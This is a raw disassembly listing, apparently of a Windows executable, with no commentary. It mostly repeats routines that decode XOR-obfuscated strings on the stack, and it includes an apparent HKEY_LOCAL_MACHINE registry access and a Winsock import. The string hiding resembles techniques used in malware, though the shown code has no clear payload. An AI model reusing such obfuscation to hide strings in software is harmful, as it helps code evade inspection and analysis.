movups xmm0, xmmword [0x140324338]
movups xmmword [rbp + 0x18], xmm0
movzx eax, word [0x140324348]
mov word [rbp + 0x28], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400eea4f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x1400ee960
cmp r8d, 0x19
jge 0x1400eea94
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x1400eea60
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1060]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x1403242e8]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1403242f8]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x140324308]
movups xmmword [rbp + 0x18], xmm0
cmp r15d, 2
jl 0x1400eebe7
movdqa xmm5, xmmword [0x1402d9220]
mov edx, r13d
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x18
jl 0x1400eeb00
jmp 0x1400eec24
lea r9, [rbp - 8]
mov r8d, r13d
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x18
jl 0x1400eebf0
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1080]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x10a0]
call fcn.1401085e0
mov rdx, rax
lea rcx, [0x14049e780]
call fcn.14008c120
lea rcx, [rbp + 0x10a0]
call fcn.140065be0
lea rax, [rbp + 0x10c0]
mov qword [rbp - 0x80], rax
movups xmm0, xmmword [0x1403243b8]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1403243c8]
movups xmmword [rbp + 8], xmm1
movsd xmm0, qword [0x1403243d8]
movsd qword [rbp + 0x18], xmm0
mov eax, dword [0x1403243e0]
mov dword [rbp + 0x20], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400eedbf
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1400eecd0
cmp r8d, 0x16
jge 0x1400eee04
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x1400eedd0
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x10c0]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [str._mfbrueyNNO_Q4]
movups xmmword [rbp + 0x1b48], xmm0
movups xmm1, xmmword [0x140324360]
movups xmmword [rbp + 0x1b58], xmm1
movups xmm0, xmmword [0x140324370]
movups xmmword [rbp + 0x1b68], xmm0
movups xmm1, xmmword [0x140324380]
movups xmmword [rbp + 0x1b78], xmm1
movups xmm0, xmmword [0x140324390]
movups xmmword [rbp + 0x1b88], xmm0
movups xmm1, xmmword [0x1403243a0]
movups xmmword [rbp + 0x1b98], xmm1
mov eax, dword [0x1403243b0]
mov dword [rbp + 0x1ba8], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400eef9f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1b48]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x30
jl 0x1400eeeb0
cmp r8d, 0x32
jge 0x1400eefe4
movsxd rax, r8d
lea r9, [rbp + 0x1b48]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x32
jl 0x1400eefb0
lea rdx, [rbp + 0x1b48]
lea rcx, [rbp + 0x10e0]
call fcn.140089c90
nop
mov r9, rbx
mov r8, rax
mov rdx, 0xffffffff80000002
lea rcx, [rbp + 0x1100]
call fcn.140100570
mov rdx, rax
lea rcx, [0x14049e7a0]
call fcn.14008c120
lea rcx, [rbp + 0x1100]
call fcn.140065be0
lea rax, [rbp + 0x1120]
mov qword [rbp - 0x80], rax
movups xmm0, xmmword [0x140324448]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324458]
movups xmmword [rbp + 8], xmm1
mov eax, dword [0x140324468]
mov dword [rbp + 0x18], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400ef17f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1400ef090
cmp r8d, 0x12
jge 0x1400ef1c4
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x12
jl 0x1400ef190
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1120]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x1403243f0]
movups xmmword [rbp + 0x1a3a], xmm0
movups xmm1, xmmword [0x140324400]
movups xmmword [rbp + 0x1a4a], xmm1
movups xmm0, xmmword [0x140324410]
movups xmmword [rbp + 0x1a5a], xmm0
movups xmm1, xmmword [0x140324420]
movups xmmword [rbp + 0x1a6a], xmm1
movups xmm0, xmmword [0x140324430]
movups xmmword [rbp + 0x1a7a], xmm0
movzx eax, word [0x140324440]
mov word [rbp + 0x1a8a], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400ef34f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x1a3a]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400ef260
cmp r8d, 0x29
jge 0x1400ef394
movsxd rax, r8d
lea r9, [rbp + 0x1a3a]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400ef360
lea rdx, [rbp + 0x1a3a]
lea rcx, [rbp + 0x1140]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1160]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e7c0]
call fcn.14008c120
lea rcx, [rbp + 0x1160]
call fcn.140065be0
lea rax, [rbp + 0x1180]
mov qword [rbp - 0x80], rax
movups xmm7, xmmword [0x1403244b8]
movups xmmword [rbp - 0x18], xmm7
pextrw eax, xmm7, 7
test ax, ax
je 0x1400ef524
cmp r15d, 2
jl 0x1400ef4e6
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp - 0x18], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x10]
xorps xmm3, xmm0
movq qword [rbp - 0x10], xmm3
jmp 0x1400ef524
lea r9, [rbp - 0x18]
mov r8d, r13d
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x1400ef4f0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x1180]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324470]
movups xmmword [rbp + 0x19ca], xmm0
movups xmm1, xmmword [0x140324480]
movups xmmword [rbp + 0x19da], xmm1
movups xmm0, xmmword [0x140324490]
movups xmmword [rbp + 0x19ea], xmm0
movups xmm1, xmmword [0x1403244a0]
movups xmmword [rbp + 0x19fa], xmm1
movsd xmm0, qword [0x1403244b0]
movsd qword [rbp + 0x1a0a], xmm0
mov r8d, r13d
cmp r15d, 2
jl 0x1400ef6af
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0x19ca]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400ef5c0
cmp r8d, 0x24
jge 0x1400ef6f4
movsxd rax, r8d
lea r9, [rbp + 0x19ca]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x1400ef6c0
lea rdx, [rbp + 0x19ca]
lea rcx, [rbp + 0x11a0]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x11c0]
call fcn.140107b40
mov rdx, rax
lea r14, [0x14049e7e0]
mov rcx, r14
call fcn.14008c120
lea rcx, [rbp + 0x11c0]
call fcn.140065be0
movsd xmm0, qword [0x1403244c8]
movsd qword [rbp + 0x782], xmm0
movzx ecx, word [0x1403244d0]
mov word [rbp + 0x78a], cx
movzx eax, byte [0x1403244d2]
mov byte [rbp + 0x782], Ordinal_79
xor byte [rbp + 0x783], 0x34
xor byte [rbp + 0x784], 0x35
xor byte [rbp + 0x785], 0x36
xor byte [rbp + 0x786], 0x37
xor byte [rbp + 0x787], 0x38
xor byte [rbp + 0x788], 0x39
xor byte [rbp + 0x789], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x78a], cl
xor byte [rbp + 0x78b], 0x3c
xor al, 0x3d
mov byte [rbp + 0x78c], al
lea rcx, [rbp + 0x782]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400ef7c0
mov rbx, qword [0x14049e7f0]
mov rcx, r14
mov rdi, qword [0x14049e7e0]
mov rsi, qword [reloc.WS2_32.dll_ntohs]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x782]
xor r8d, r8d
mov rdx, rbx
call fcn.14007af70
cmp rax, 0xffffffffffffffff
je 0x1400ef8b7
movsd xmm0, qword [str._VDXKVO]
movsd qword [rbp + 0x777], xmm0
movzx ecx, word [0x1403244e0]
mov word [rbp + 0x77f], cx
movzx eax, byte [0x1403244e2]
mov byte [rbp + 0x777], Ordinal_79
xor byte [rbp + 0x778], 0x34
xor byte [rbp + 0x779], 0x35
xor byte [rbp + 0x77a], 0x36
xor byte [rbp + 0x77b], 0x37
xor byte [rbp + 0x77c], 0x38
xor byte [rbp + 0x77d], 0x39
xor byte [rbp + 0x77e], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x77f], cl
xor byte [rbp + 0x780], 0x3c
xor al, 0x3d
mov byte [rbp + 0x781], al
xor r8d, r8d
lea rdx, [rbp + 0x777]
mov rcx, r14
call fcn.14009e830
mov rdx, rax
mov r8d, 0xa
mov rcx, r14
call fcn.14009ddb0
mov rsi, qword [reloc.WS2_32.dll_ntohs]
mov rbx, qword [0x14049e7f0]
mov rdi, qword [0x14049e7e0]
mov eax, dword [0x1403244e4]
mov dword [rbp - 0x2c], eax
movzx eax, byte [0x1403244e8]
mov byte [rbp - 0x2c], 0x48
xor byte [rbp - 0x2b], 0x34
xor byte [rbp - 0x2a], 0x35
xor byte [rbp - 0x29], 0x36
xor al, 0x37
mov byte [rbp - 0x28], al
lea rcx, [rbp - 0x2c]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400ef8e7
mov rcx, r14
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x2c]
xor r8d, r8d
mov rdx, rbx
call fcn.14007af70
cmp rax, 0xffffffffffffffff
je 0x1400ef96f
mov eax, dword [str._XS7]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1403244f0]
mov byte [rbp - 0x80], 0x48
xor byte [rbp - 0x7f], 0x34
xor byte [rbp - 0x7e], 0x35
xor byte [rbp - 0x7d], 0x36
xor al, 0x37
mov byte [rbp - 0x7c], al
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.14009e830
mov rdx, rax
mov r8d, 4
mov rcx, r14
call fcn.14009ddb0
mov rsi, qword [reloc.WS2_32.dll_ntohs]
mov rbx, qword [0x14049e7f0]
mov rdi, qword [0x14049e7e0]
mov eax, dword [str.cFZ6cFZ6]
mov dword [rbp - 0x34], eax
cmp byte [0x1403244f7], 0
je 0x1400efa40
cmp r15d, 2
jl 0x1400efa08
movdqa xmm3, xmmword [0x1402d9220]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140327f20]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140327f20]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333R]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x34], xmm2
jmp 0x1400efa40
lea r9, [rbp - 0x34]
mov r8d, r13d
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400efa10
lea rcx, [rbp - 0x34]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400efa50
mov rcx, r14
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x34]
xor r8d, r8d
mov rdx, rbx
call fcn.14007af70
cmp rax, 0xffffffffffffffff
je 0x1400efb80
mov eax, dword [0x1403244f8]
mov dword [rbp - 0x78], eax
cmp byte [0x1403244fb], 0
je 0x1400efb60
cmp r15d, 2
jl 0x1400efb1b
movdqa xmm3, xmmword [0x1402d9220]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140327f20]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140327f20]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333R]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x78], xmm2
jmp 0x1400efb60
lea r9, [rbp - 0x78]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400efb30
xor r8d, r8d
lea rdx, [rbp - 0x78]
mov rcx, r14
call fcn.14009e830
mov rdx, rax
mov r8d, 3
mov rcx, r14
call fcn.14009ddb0
lea rax, [rbp + 0x11e0]
mov qword [rbp - 0x80], rax
mov eax, dword [0x140324558]
mov dword [rbp + 0x660], eax
movups xmm0, xmmword [str._MFBRUmCKY]
movzx eax, word [0x14032455c]
movups xmmword [rbp + 0x650], xmm0
mov ecx, 0x53
mov word [rbp + 0x650], cx
xor word [rbp + 0x652], 0x34
xor word [rbp + 0x654], 0x35
xor word [rbp + 0x656], 0x36
xor word [rbp + 0x658], 0x37
xor word [rbp + 0x65a], 0x38
